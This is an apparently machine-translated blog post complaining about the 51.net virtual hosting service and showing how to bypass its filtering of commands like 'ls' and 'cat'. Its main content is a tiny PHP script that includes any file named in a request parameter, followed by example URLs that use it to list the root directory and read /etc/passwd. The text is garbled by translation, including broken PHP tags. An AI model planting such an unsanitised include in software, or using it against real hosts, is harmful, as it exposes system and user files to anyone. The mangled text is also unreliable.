How to break through 5 1. net command filtering-vulnerability warning-the black bar safety net

Article author: analysist

To be honest, 5 1. net kinda makes me sad, although I have used it in the virtual host service for almost a year, but also not a successful SSH up I change my password, maybe I’m stupid,
But am I really that stupid? Even though I have been so stupid, why did I give you a letter asking this question but never received a reply? There are those of you who are sick of the permissions set for
What I can on my own home directory with write permissions but not delete permissions? The last time a user due to the erroneous operation of the Put a file in my home directory of the root directory, but I have no
Method delete, it’s Nest fire! And your CGI settings, why my Perl program in anything else running on the server everything is normal, your server has a little results are not the output?

Recently, you guys Put a lot of system commands to filter out, like"ls"and"cat",“id"commands like there is no output, too much?! Forget it forget it, its blame days
Especially people, as our own think about how to break through these limitations. The following I mainly tells about how to break the"ls"and"cat”, as for the other commands, we ourselves consider it.

To break through the 5 1. net command filter, we need to write down a small script, and then uploaded to 5 1. net your home directory.

cmd.php:
<? php
include $file;
?& gt;

If you want to implement"ls /“command, then enter"http://***.51.net/cmd.php?file=/” to:

Access links to the pictures…

If you want to achieve the"cat /etc/passwd"command, then enter"http://***.51.net/cmd.php?file=/etc/passwd": the

Access links to the pictures…

Other commands to filter the possibility of a breakthrough, just to see everyone!：）